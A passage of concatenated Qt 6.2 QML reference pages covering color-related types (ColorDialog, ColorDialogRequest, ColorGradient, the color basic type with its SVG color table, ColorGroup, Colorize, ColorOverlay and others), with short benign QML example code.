|  Inherits: | [Dialog](qml-qt-labs-platform-dialog) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt-labs-platform-colordialog-members.html)

 Properties
----------

 * **[color](qml-qt-labs-platform-colordialog#color-prop)** : color
* **[currentColor](qml-qt-labs-platform-colordialog#currentColor-prop)** : color
* **[options](qml-qt-labs-platform-colordialog#options-prop)** : flags

 Detailed Description
--------------------

 The ColorDialog type provides a QML API for native platform color dialogs.

 ![]


To show a color dialog, construct an instance of ColorDialog, set the desired properties, and call [open](qml-qt-labs-platform-dialog#open-method)(). The [currentColor](qml-qt-labs-platform-colordialog#currentColor-prop) property can be used to determine the currently selected color in the dialog. The [color](qml-qt-labs-platform-colordialog#color-prop) property is updated only after the final selection has been made by accepting the dialog.

 
```
MenuItem {
    text: "Color"
    onTriggered: colorDialog.open()
}

ColorDialog {
    id: colorDialog
    currentColor: document.color
}

MyDocument {
    id: document
    color: colorDialog.color
}
```
 ### Availability

 A native platform color dialog is currently available on the following platforms:

 * macOS
* Linux (when running with the GTK+ platform theme)

 The Qt Labs Platform module uses Qt Widgets as a fallback on platforms that do not have a native implementation available. Therefore, applications that use types from the Qt Labs Platform module should link to QtWidgets and use [QApplication](qapplication) instead of [QGuiApplication](qguiapplication).

 To link against the QtWidgets library, add the following to your qmake project file:

 
```
QT += widgets
```
 Create an instance of [QApplication](qapplication) in `main()`:

 
```
#include <QApplication>
#include <QQmlApplicationEngine>

int main(int argc, char *argv[])
{
    QApplication app(argc, argv);
    QQmlApplicationEngine engine;
    engine.load(QUrl(QStringLiteral("qrc:/main.qml")));
    return app.exec();
}
```
  **Note:** *Types in Qt.labs modules are not guaranteed to remain compatible in future versions.*

  Property Documentation
----------------------

 ###  color : [color](qml-color)

 This property holds the final accepted color.

 Unlike the [currentColor](qml-qt-labs-platform-colordialog#currentColor-prop) property, the `color` property is not updated while the user is selecting colors in the dialog, but only after the final selection has been made. That is, when the user has clicked **OK** to accept a color. Alternatively, the [accepted](qml-qt-labs-platform-dialog#accepted-signal)() signal can be handled to get the final selection.

 **See also** [currentColor](qml-qt-labs-platform-colordialog#currentColor-prop) and [accepted](qml-qt-labs-platform-dialog#accepted-signal)().

 ###  currentColor : [color](qml-color)

 This property holds the currently selected color in the dialog.

 Unlike the [color](qml-qt-labs-platform-colordialog#color-prop) property, the `currentColor` property is updated while the user is selecting colors in the dialog, even before the final selection has been made.

 **See also** [color](qml-qt-labs-platform-colordialog#color-prop).

 ###  options : flags

 This property holds the various options that affect the look and feel of the dialog.

 By default, all options are disabled.

 Options should be set before showing the dialog. Setting them while the dialog is visible is not guaranteed to have an immediate effect on the dialog (depending on the option and on the platform).

 Available options:

 

| Constant | Description |
| --- | --- |
| `ColorDialog.ShowAlphaChannel` | Allow the user to select the alpha component of a color. |
| `ColorDialog.NoButtons` | Don't display **OK** and **Cancel** buttons (useful for "live dialogs"). |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt-labs-platform-colordialog.html>

ColorDialogRequest QML Type
===========================

 A request for selecting a color by the user. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtWebEngine |
|  Since: |  QtWebEngine 1.4 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtwebengine-colordialogrequest-members.html)

 Properties
----------

 * **[accepted](qml-qtwebengine-colordialogrequest#accepted-prop)** : bool
* **[color](qml-qtwebengine-colordialogrequest#color-prop)** : color

 Methods
-------

 * void **[dialogAccept](qml-qtwebengine-colordialogrequest#dialogAccept-method)**(color *color*)
* void **[dialogReject](qml-qtwebengine-colordialogrequest#dialogReject-method)**()

 Detailed Description
--------------------

 A ColorDialogRequest is passed as an argument of the [WebEngineView::colorDialogRequested](qml-qtwebengine-webengineview#colorDialogRequested-signal) signal. It is generated when a color picker dialog is requested. See [HTML5 Color State](https://www.w3.org/TR/html5/forms.html#color-state-(type=color)).

 The [accepted](qml-qtwebengine-colordialogrequest#accepted-prop) property of the request indicates whether the request is handled by the user code or the default dialog should be displayed. If you set the [accepted](qml-qtwebengine-colordialogrequest#accepted-prop) property to `true`, make sure to call either [dialogAccept](qml-qtwebengine-colordialogrequest#dialogAccept-method)() or [dialogReject](qml-qtwebengine-colordialogrequest#dialogReject-method)() afterwards.

 The following code uses a custom dialog to handle the request:

 
```
WebEngineView {
    // ...
    onColorDialogRequested: function(request) {
        request.accepted = true;
        myDialog.request = request // keep the reference to the request
        myDialog.accept.connect(request.dialogAccept);
        myDialog.reject.connect(request.dialogReject);
        myDialog.visible = true;
    }
    // ...
}
```
 Property Documentation
----------------------

 ###  accepted : [bool](qml-bool)

 Indicates whether the color picker dialog request has been accepted by the signal handler.

 If the property is `false` after any signal handlers for [WebEngineView::colorDialogRequested](qml-qtwebengine-webengineview#colorDialogRequested-signal) have been executed, a default color picker dialog will be shown. To prevent this, set `request.accepted` to `true`.

 The default is `false`.

 ###  [read-only] color : [color](qml-color)

 The default color to be selected in the dialog.

 Method Documentation
--------------------

 ###  void dialogAccept([color](qml-color) *color*)

 This function notifies the engine that the user accepted the dialog, providing the *color*.

 ###  void dialogReject()

 This function notifies the engine that the user rejected the dialog.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtwebengine-colordialogrequest.html>

ColorGradient QML Type
======================

 Defines a color gradient. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-colorgradient-members.html)

 Properties
----------

 * **[stops](qml-qtdatavisualization-colorgradient#stops-prop)** : list<ColorGradientStop>

 Detailed Description
--------------------

 A gradient is defined by two or more colors, which will be blended seamlessly.

 The colors are specified as a set of [ColorGradientStop](qml-qtdatavisualization-colorgradientstop) child items, each of which defines a position on the gradient from 0.0 to 1.0 and a color. The position of each [ColorGradientStop](qml-qtdatavisualization-colorgradientstop) is defined by setting its [position](qml-qtdatavisualization-colorgradientstop#position-prop) property; its color is defined using its [color](qml-qtdatavisualization-colorgradientstop#color-prop) property.

 A gradient without any gradient stops falls back to [QLinearGradient](qlineargradient) default, which is black at 0.0 and white at 1.0.

 **See also** [ColorGradientStop](qml-qtdatavisualization-colorgradientstop).

 Property Documentation
----------------------

 ###  [default] stops : [list](qml-list)<[ColorGradientStop](qml-qtdatavisualization-colorgradientstop)>

 This property holds the gradient stops describing the gradient.

 By default, this property contains an empty list.

 To set the gradient stops, define them as children of the [ColorGradient](qml-qtdatavisualization-colorgradient).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-colorgradient.html>

color QML Basic Type
====================

 * By a [SVG color name](qml-color#svg-color-reference), such as "red", "green" or "lightsteelblue".
* By a hexadecimal triplet or quad in the form `"#RRGGBB"` and `"#AARRGGBB"` respectively. For example, the color red corresponds to a triplet of `"#FF0000"` and a slightly transparent blue to a quad of `"#800000FF"`.
* Using the [Qt.rgba](qml-qtqml-qt#rgba-method)(), [Qt.hsva](qml-qtqml-qt#hsva-method)(), [Qt.hsla](qml-qtqml-qt#hsla-method)(), [Qt.darker](qml-qtqml-qt#darker-method)(), [Qt.lighter](qml-qtqml-qt#lighter-method)() or [Qt.tint](qml-qtqml-qt#tint-method)() functions.

 Example:

 ![]

 
```
Rectangle {
    color: "steelblue"
    width: 40; height: 40
}
Rectangle {
    color: "transparent"
    y: 40; width: 40; height: 40
}
Rectangle {
    color: "#FF0000"
    y: 80; width: 40; height: 40
}
Rectangle {
    color: "#800000FF"
    y: 120; width: 40; height: 40
}
Rectangle {
    color: "#00000000"    // ARGB fully transparent
    y: 160
    width: 40; height: 40
}
```
 A color type has `r`, `g`, `b` and `a` properties that refer to the red, green, blue and alpha values of the color, respectively. Additionally it has `hsvHue`, `hsvSaturation`, `hsvValue` and `hslHue`, `hslSaturation`, `hslLightness` properties, which allow access to color values in HSV and HSL color models accordingly:

 
```
Text {
    color: "red"

    // prints "1 0 0 1"
    Component.onCompleted: console.log(color.r, color.g, color.b, color.a)
}
```
 To test color values for equality, use the [Qt.colorEqual](qml-qtqml-qt#colorEqual-method)() function. This allows colors to be accurately compared whether they are in property form or in any of the acceptable string specification forms.

 When integrating with C++, note that any [QColor](qcolor) value [passed into QML from C++](qtqml-cppintegration-data) is automatically converted into a `color` value, and vice-versa.

 This basic type is provided by the [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html) import.

 SVG Color Reference
-------------------

 The following table lists the available [SVG colors](http://www.w3.org/TR/SVG/types.html#ColorKeywords):

 

| Name | Hex | Color |
| --- | --- | --- |
| aliceblue | #f0f8ff |  |
| antiquewhite | #faebd7 |  |
| aqua | #00ffff |  |
| aquamarine | #7fffd4 |  |
| azure | #f0ffff |  |
| beige | #f5f5dc |  |
| bisque | #ffe4c4 |  |
| black | #000000 |  |
| blanchedalmond | #ffebcd |  |
| blue | #0000ff |  |
| blueviolet | #8a2be2 |  |
| brown | #a52a2a |  |
| burlywood | #deb887 |  |
| cadetblue | #5f9ea0 |  |
| chartreuse | #7fff00 |  |
| chocolate | #d2691e |  |
| coral | #ff7f50 |  |
| cornflowerblue | #6495ed |  |
| cornsilk | #fff8dc |  |
| crimson | #dc143c |  |
| cyan | #00ffff |  |
| darkblue | #00008b |  |
| darkcyan | #008b8b |  |
| darkgoldenrod | #b8860b |  |
| darkgray | #a9a9a9 |  |
| darkgreen | #006400 |  |
| darkgrey | #a9a9a9 |  |
| darkkhaki | #bdb76b |  |
| darkmagenta | #8b008b |  |
| darkolivegreen | #556b2f |  |
| darkorange | #ff8c00 |  |
| darkorchid | #9932cc |  |
| darkred | #8b0000 |  |
| darksalmon | #e9967a |  |
| darkseagreen | #8fbc8f |  |
| darkslateblue | #483d8b |  |
| darkslategray | #2f4f4f |  |
| darkslategrey | #2f4f4f |  |
| darkturquoise | #00ced1 |  |
| darkviolet | #9400d3 |  |
| deeppink | #ff1493 |  |
| deepskyblue | #00bfff |  |
| dimgray | #696969 |  |
| dimgrey | #696969 |  |
| dodgerblue | #1e90ff |  |
| firebrick | #b22222 |  |
| floralwhite | #fffaf0 |  |
| forestgreen | #228b22 |  |
| fuchsia | #ff00ff |  |
| gainsboro | #dcdcdc |  |
| ghostwhite | #f8f8ff |  |
| gold | #ffd700 |  |
| goldenrod | #daa520 |  |
| gray | #808080 |  |
| grey | #808080 |  |
| green | #008000 |  |
| greenyellow | #adff2f |  |
| honeydew | #f0fff0 |  |
| hotpink | #ff69b4 |  |
| indianred | #cd5c5c |  |
| indigo | #4b0082 |  |
| ivory | #fffff0 |  |
| khaki | #f0e68c |  |
| lavender | #e6e6fa |  |
| lavenderblush | #fff0f5 |  |
| lawngreen | #7cfc00 |  |
| lemonchiffon | #fffacd |  |
| lightblue | #add8e6 |  |
| lightcoral | #f08080 |  |
| lightcyan | #e0ffff |  |
| lightgoldenrodyellow | #fafad2 |  |
| lightgray | #d3d3d3 |  |
| lightgreen | #90ee90 |  |
| lightgrey | #d3d3d3 |  |
| lightpink | #ffb6c1 |  |
| lightsalmon | #ffa07a |  |
| lightseagreen | #20b2aa |  |
| lightskyblue | #87cefa |  |
| lightslategray | #778899 |  |
| lightslategrey | #778899 |  |
| lightsteelblue | #b0c4de |  |
| lightyellow | #ffffe0 |  |
| lime | #00ff00 |  |
| limegreen | #32cd32 |  |
| linen | #faf0e6 |  |
| magenta | #ff00ff |  |
| maroon | #800000 |  |
| mediumaquamarine | #66cdaa |  |
| mediumblue | #0000cd |  |
| mediumorchid | #ba55d3 |  |
| mediumpurple | #9370db |  |
| mediumseagreen | #3cb371 |  |
| mediumslateblue | #7b68ee |  |
| mediumspringgreen | #00fa9a |  |
| mediumturquoise | #48d1cc |  |
| mediumvioletred | #c71585 |  |
| midnightblue | #191970 |  |
| mintcream | #f5fffa |  |
| mistyrose | #ffe4e1 |  |
| moccasin | #ffe4b5 |  |
| navajowhite | #ffdead |  |
| navy | #000080 |  |
| oldlace | #fdf5e6 |  |
| olive | #808000 |  |
| olivedrab | #6b8e23 |  |
| orange | #ffa500 |  |
| orangered | #ff4500 |  |
| orchid | #da70d6 |  |
| palegoldenrod | #eee8aa |  |
| palegreen | #98fb98 |  |
| paleturquoise | #afeeee |  |
| palevioletred | #db7093 |  |
| papayawhip | #ffefd5 |  |
| peachpuff | #ffdab9 |  |
| peru | #cd853f |  |
| pink | #ffc0cb |  |
| plum | #dda0dd |  |
| powderblue | #b0e0e6 |  |
| purple | #800080 |  |
| red | #ff0000 |  |
| rosybrown | #bc8f8f |  |
| royalblue | #4169e1 |  |
| saddlebrown | #8b4513 |  |
| salmon | #fa8072 |  |
| sandybrown | #f4a460 |  |
| seagreen | #2e8b57 |  |
| seashell | #fff5ee |  |
| sienna | #a0522d |  |
| silver | #c0c0c0 |  |
| skyblue | #87ceeb |  |
| slateblue | #6a5acd |  |
| slategray | #708090 |  |
| slategrey | #708090 |  |
| snow | #fffafa |  |
| springgreen | #00ff7f |  |
| steelblue | #4682b4 |  |
| tan | #d2b48c |  |
| teal | #008080 |  |
| thistle | #d8bfd8 |  |
| tomato | #ff6347 |  |
| turquoise | #40e0d0 |  |
| violet | #ee82ee |  |
| wheat | #f5deb3 |  |
| white | #ffffff |  |
| whitesmoke | #f5f5f5 |  |
| yellow | #ffff00 |  |
| yellowgreen | #9acd32 |  |

 **See also** [QML Basic Types](qtqml-typesystem-basictypes).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-color.html>

Command QML Type
================

 Supertype of commands to be performed as part of a pass in an Effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D |
|  Inherited By: | [BufferInput](qml-qtquick3d-bufferinput) and [SetUniformValue](qml-qtquick3d-setuniformvalue) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-command-members.html)

 Detailed Description
--------------------

 The Command type should not be instantiated by itself, but only exists as a polymorphic supertype for the different actions that can be performed as part of a [render pass](qml-qtquick3d-pass).

 **See also** [BufferInput](qml-qtquick3d-bufferinput), [SetUniformValue](qml-qtquick3d-setuniformvalue), and [Effect](qml-qtquick3d-effect).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-command.html>

ColorGradientStop QML Type
==========================

 Defines the color at a position in [ColorGradient](qml-qtdatavisualization-colorgradient). [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-colorgradientstop-members.html)

 Properties
----------

 * **[color](qml-qtdatavisualization-colorgradientstop#color-prop)** : color
* **[position](qml-qtdatavisualization-colorgradientstop#position-prop)** : real

 Detailed Description
--------------------

 Defines the color at a position in a [ColorGradient](qml-qtdatavisualization-colorgradient).

 **See also** [ColorGradient](qml-qtdatavisualization-colorgradient).

 Property Documentation
----------------------

 ###  color : [color](qml-color)

 The color property describes the color color of this gradient stop.

 The default color is black.

 **See also** [ColorGradient](qml-qtdatavisualization-colorgradient).

 ###  position : [real](qml-real)

 The position property describes the position of this gradient stop.

 The default position is 0.0.

 **See also** [ColorGradient](qml-qtdatavisualization-colorgradient).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-colorgradientstop.html>

ColorGroup QML Type
===================

 The set of colors by roles. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [QtObject](qml-qtqml-qtobject) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-colorgroup-members.html)

 Properties
----------

 * **[alternateBase](qml-qtquick-colorgroup#alternateBase-prop)** : color
* **[base](qml-qtquick-colorgroup#base-prop)** : color
* **[brightText](qml-qtquick-colorgroup#brightText-prop)** : color
* **[button](qml-qtquick-colorgroup#button-prop)** : color
* **[buttonText](qml-qtquick-colorgroup#buttonText-prop)** : color
* **[dark](qml-qtquick-colorgroup#dark-prop)** : color
* **[highlight](qml-qtquick-colorgroup#highlight-prop)** : color
* **[highlightedText](qml-qtquick-colorgroup#highlightedText-prop)** : color
* **[light](qml-qtquick-colorgroup#light-prop)** : color
* **[link](qml-qtquick-colorgroup#link-prop)** : color
* **[linkVisited](qml-qtquick-colorgroup#linkVisited-prop)** : color
* **[mid](qml-qtquick-colorgroup#mid-prop)** : color
* **[midlight](qml-qtquick-colorgroup#midlight-prop)** : color
* **[placeholderText](qml-qtquick-colorgroup#placeholderText-prop)** : color
* **[shadow](qml-qtquick-colorgroup#shadow-prop)** : color
* **[text](qml-qtquick-colorgroup#text-prop)** : color
* **[toolTipBase](qml-qtquick-colorgroup#toolTipBase-prop)** : color
* **[toolTipText](qml-qtquick-colorgroup#toolTipText-prop)** : color
* **[window](qml-qtquick-colorgroup#window-prop)** : color
* **[windowText](qml-qtquick-colorgroup#windowText-prop)** : color

 Signals
-------

 * **[changed](qml-qtquick-colorgroup#changed-signal)**()

 Detailed Description
--------------------

 The ColorGroup type is used to define a set of colors with certain roles. Although a ColorGroup has no visual appearance, it defines colors used to customize rendered items.

 Default values of colors are equal to active group colors of default-constructed `QPalette`.

 The following code can be used to create a color group with some colors specified:

 
```
ColorGroup {
    alternateBase: "red"
    base: "green"
}
```
 Property Documentation
----------------------

 ###  alternateBase : [color](qml-color)

 Used as the alternate background color in item views with alternating row colors.

 ###  base : [color](qml-color)

 Used mostly as the background color for text editor controls and item views. It is usually white or another light color.

 ###  brightText : [color](qml-color)

 A text color that is very different from `windowText`, and contrasts well with e.g. `dark`. Typically used for text that needs to be drawn where `text`, `windowText` or `buttonText` would give poor contrast, such as on highlighted buttons.

 ###  button : [color](qml-color)

 The general button background color. This background can be different from `window` as some styles require a different background color for buttons.

 ###  buttonText : [color](qml-color)

 A foreground color used with the `palette` color.

 ###  dark : [color](qml-color)

 A foreground color used with the `palette` color.

 ###  highlight : [color](qml-color)

 A color to indicate a selected item or the current item.

 ###  highlightedText : [color](qml-color)

 A text color that contrasts with `highlight`.

 ###  light : [color](qml-color)

 Lighter than `button`.

 ###  link : [color](qml-color)

 A text color used for hyperlinks.

 ###  linkVisited : [color](qml-color)

 A text color used for already visited hyperlinks.

 ###  mid : [color](qml-color)

 Between `palette.button` and `dark`.

 ###  midlight : [color](qml-color)

 Between `button` and `light`.

 ###  [since 6.2] placeholderText : [color](qml-color)

 Used as the place holder color for editable single line fields.

 This property was introduced in Qt 6.2.

 ###  shadow : [color](qml-color)

 A very dark color.

 ###  text : [color](qml-color)

 The foreground color used with `base`. This is usually the same as the `windowText`, in which case it must provide good contrast with `window` and `base`.

 ###  toolTipBase : [color](qml-color)

 Used as the background color for tooltips.

 ###  toolTipText : [color](qml-color)

 Used as the foreground color for tooltips.

 ###  window : [color](qml-color)

 A general background color.

 ###  windowText : [color](qml-color)

 A general foreground color.

 Signal Documentation
--------------------

 ###  changed()

 Additional signal indicates that the current state of this color group has been changed. Usually it means that one of the colors is changed.

 **Note:** The corresponding handler is `onChanged`.

 **See also** [Palette](qml-qtquick-palette).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-colorgroup.html>

Colorize QML Type
=================

 Sets the color in the HSL color space. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt5Compat.GraphicalEffects |
|  Since: |  QtGraphicalEffects 1.0 |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-colorize-members.html)

 Properties
----------

 * **[cached](qml-qt5compat-graphicaleffects-colorize#cached-prop)** : bool
* **[hue](qml-qt5compat-graphicaleffects-colorize#hue-prop)** : real
* **[lightness](qml-qt5compat-graphicaleffects-colorize#lightness-prop)** : real
* **[saturation](qml-qt5compat-graphicaleffects-colorize#saturation-prop)** : real
* **[source](qml-qt5compat-graphicaleffects-colorize#source-prop)** : variant

 Detailed Description
--------------------

 The effect is similar to what happens when a colorized glass is put on top of a grayscale image. Colorize uses the hue, saturation, and lightness (HSL) color space. You can specify a desired value for each property. You can shift all HSL values with the [HueSaturation](qml-qt5compat-graphicaleffects-huesaturation) effect.

 Alternatively, you can use the [ColorOverlay](qml-qt5compat-graphicaleffects-coloroverlay) effect to colorize the source item in the RGBA color space.

 

| Source | Effect applied |
| --- | --- |
|  |  |

 Example
-------

 The following example shows how to apply the effect.

 
```
import QtQuick
import Qt5Compat.GraphicalEffects

Item {
    width: 300
    height: 300

    Image {
        id: bug
        source: "images/bug.jpg"
        sourceSize: Qt.size(parent.width, parent.height)
        smooth: true
        visible: false
    }

    Colorize {
        anchors.fill: bug
        source: bug
        hue: 0.0
        saturation: 0.5
        lightness: -0.2
    }
}
```
 Property Documentation
----------------------

 ###  cached : [bool](qml-bool)

 This property allows the effect output pixels to be cached in order to improve the rendering performance.

 Every time the source or effect properties are changed, the pixels in the cache must be updated. Memory consumption is increased, because an extra buffer of memory is required for storing the effect output.

 It is recommended to disable the cache when the source or the effect properties are animated.

 By default, the property is set to `false`.

 ###  hue : [real](qml-real)

 This property defines the hue value which is used to colorize the source.

 The value ranges from 0.0 to 1.0. By default, the property is set to `0.0`, which produces a slightly red color.

 

| Allowed hue values |
| --- |
|  |

 

| Output examples with different hue values |  |  |
| --- | --- | --- |
|  |  |  |
|  **hue: 0.2**  |  **hue: 0.5**  |  **hue: 0.8**  |
| [saturation](qml-qt5compat-graphicaleffects-colorize#saturation-prop): 1 | [saturation](qml-qt5compat-graphicaleffects-colorize#saturation-prop): 1 | [saturation](qml-qt5compat-graphicaleffects-colorize#saturation-prop): 1 |
| [lightness](qml-qt5compat-graphicaleffects-colorize#lightness-prop): 0 | [lightness](qml-qt5compat-graphicaleffects-colorize#lightness-prop): 0 | [lightness](qml-qt5compat-graphicaleffects-colorize#lightness-prop): 0 |

 ###  lightness : [real](qml-real)

 This property defines how much the source lightness value is increased or decreased.

 Unlike hue and saturation properties, lightness does not set the used value, but it shifts the existing source pixel lightness value.

 The value ranges from -1.0 (decreased) to 1.0 (increased). By default, the property is set to `0.0` (no change).

 

| Output examples with different lightness values |  |  |
| --- | --- | --- |
|  |  |  |
|  **lightness: -0.75**  |  **lightness: 0**  |  **lightness: 0.75**  |
| [hue](qml-qt5compat-graphicaleffects-colorize#hue-prop): 0 | [hue](qml-qt5compat-graphicaleffects-colorize#hue-prop): 0 | [hue](qml-qt5compat-graphicaleffects-colorize#hue-prop): 0 |
| [saturation](qml-qt5compat-graphicaleffects-colorize#saturation-prop): 1 | [saturation](qml-qt5compat-graphicaleffects-colorize#saturation-prop): 1 | [saturation](qml-qt5compat-graphicaleffects-colorize#saturation-prop): 1 |

 ###  saturation : [real](qml-real)

 This property defines the saturation value which is used to colorize the source.

 The value ranges from 0.0 (desaturated) to 1.0 (saturated). By default, the property is set to `1.0` (saturated).

 

| Output examples with different saturation values |  |  |
| --- | --- | --- |
|  |  |  |
|  **saturation: 0**  |  **saturation: 0.5**  |  **saturation: 1**  |
| [hue](qml-qt5compat-graphicaleffects-colorize#hue-prop): 0 | [hue](qml-qt5compat-graphicaleffects-colorize#hue-prop): 0 | [hue](qml-qt5compat-graphicaleffects-colorize#hue-prop): 0 |
| [lightness](qml-qt5compat-graphicaleffects-colorize#lightness-prop): 0 | [lightness](qml-qt5compat-graphicaleffects-colorize#lightness-prop): 0 | [lightness](qml-qt5compat-graphicaleffects-colorize#lightness-prop): 0 |

 ###  source : variant

 This property defines the source item that provides the source pixels for the effect.

  **Note:** It is not supported to let the effect include itself, for instance by setting source to the effect's parent.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-colorize.html>

ColorMask QML Type
==================

 Allows specifying which color components should be written to the currently bound frame buffer. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Render |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QColorMask](qt3drender-qcolormask) |
|  Inherits: | [RenderState](qml-qt3d-render-renderstate) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-render-colormask-members.html)

 Properties
----------

 * **[alphaMasked](qml-qt3d-render-colormask#alphaMasked-prop)** : bool
* **[blueMasked](qml-qt3d-render-colormask#blueMasked-prop)** : bool
* **[greenMasked](qml-qt3d-render-colormask#greenMasked-prop)** : bool
* **[redMasked](qml-qt3d-render-colormask#redMasked-prop)** : bool

 Detailed Description
--------------------

 By default, the property for each color component (red, green, blue, alpha) is set to `true` which means they will be written to the frame buffer. Setting any of the color component to `false` will prevent it from being written into the frame buffer.

 Property Documentation
----------------------

 ###  alphaMasked : [bool](qml-bool)

 Holds whether alpha component should be written to the frame buffer.

 ###  blueMasked : [bool](qml-bool)

 Holds whether blue color component should be written to the frame buffer.

 ###  greenMasked : [bool](qml-bool)

 Holds whether green color component should be written to the frame buffer.

 ###  redMasked : [bool](qml-bool)

 Holds whether red color component should be written to the frame buffer.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-render-colormask.html>

ColorMaster QML Type
====================

 A color adjustment effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-colormaster-members.html)

 Properties
----------

 * **[blueStrength](qml-qtquick3d-effects-colormaster#blueStrength-prop)** : real
* **[greenStrength](qml-qtquick3d-effects-colormaster#greenStrength-prop)** : real
* **[redStrength](qml-qtquick3d-effects-colormaster#redStrength-prop)** : real
* **[saturation](qml-qtquick3d-effects-colormaster#saturation-prop)** : real

 Detailed Description
--------------------

 ![]


The ColorMaster effect adjusts the color balance and saturation of the scene.

 Property Documentation
----------------------

 ###  blueStrength : [real](qml-real)

 A multiplication factor for the blue color channel. The range is `[0...2]`. The default value is `1`.

 ###  greenStrength : [real](qml-real)

 A multiplication factor for the green color channel. The range is `[0...2]`. The default value is `1.5`.

 ###  redStrength : [real](qml-real)

 A multiplication factor for the red color channel. The range is `[0...2]`. The default value is `1`.

 ###  saturation : [real](qml-real)

 The strength of all the colors in the scene. The range is `[-1...1]`, where `-1` is fully desaturated, `0` is unmodified, and `1` is heavily oversaturated. The default value is `0`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-colormaster.html>

ColorOverlay QML Type
=====================

 Alters the colors of the source item by applying an overlay color. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt5Compat.GraphicalEffects |
|  Since: |  QtGraphicalEffects 1.0 |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-coloroverlay-members.html)

 Properties
----------

 * **[cached](qml-qt5compat-graphicaleffects-coloroverlay#cached-prop)** : bool
* **[color](qml-qt5compat-graphicaleffects-coloroverlay#color-prop)** : color
* **[source](qml-qt5compat-graphicaleffects-coloroverlay#source-prop)** : variant

 Detailed Description
--------------------

 The effect is similar to what happens when a colorized glass is put on top of a grayscale image. The color for the overlay is given in the RGBA format.

 

| Source | Effect applied |
| --- | --- |
|  |  |

 Example
-------

 The following example shows how to apply the effect.

 
```
import QtQuick
import Qt5Compat.GraphicalEffects

Item {
    width: 300
    height: 300

    Image {
        id: bug
        source: "images/butterfly.png"
        sourceSize: Qt.size(parent.width, parent.height)
        smooth: true
        visible: false
    }

    ColorOverlay {
        anchors.fill: bug
        source: bug
        color: "#80800000"
    }
}
```
 Property Documentation
----------------------

 ###  cached : [bool](qml-bool)

 This property allows the effect output pixels to be cached in order to improve the rendering performance.

 Every time the source or effect properties are changed, the pixels in the cache must be updated. Memory consumption is increased, because an extra buffer of memory is required for storing the effect output.

 It is recommended to disable the cache when the source or the effect properties are animated.

 By default, the property is set to `false`.

 ###  color : [color](qml-color)

 This property defines the color value which is used to colorize the source.

 By default, the property is set to `"transparent"`.

 

| Output examples with different color values |  |  |
| --- | --- | --- |
|  |  |  |
|  **color: #80ff0000**  |  **color: #8000ff00**  |  **color: #800000ff**  |

 ###  source : variant

 This property defines the source item that provides the source pixels for the effect.

  **Note:** It is not supported to let the effect include itself, for instance by setting source to the effect's parent.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt5compat-graphicaleffects-coloroverlay.html>

Column QML Type
===============

 Positions its children in a column. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick |
|  Inherits: | [Item](qml-qtquick-item) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-column-members.html)

 Properties
----------

 * **[add](qml-qtquick-column#add-prop)** : Transition
* **[bottomPadding](qml-qtquick-column#bottomPadding-prop)** : real
* **[leftPadding](qml-qtquick-column#leftPadding-prop)** : real
* **[move](qml-qtquick-column#move-prop)** : Transition
* **[padding](qml-qtquick-column#padding-prop)** : real
* **[populate](qml-qtquick-column#populate-prop)** : Transition
* **[rightPadding](qml-qtquick-column#rightPadding-prop)** : real
* **[spacing](qml-qtquick-column#spacing-prop)** : real
* **[topPadding](qml-qtquick-column#topPadding-prop)** : real

 Signals
-------

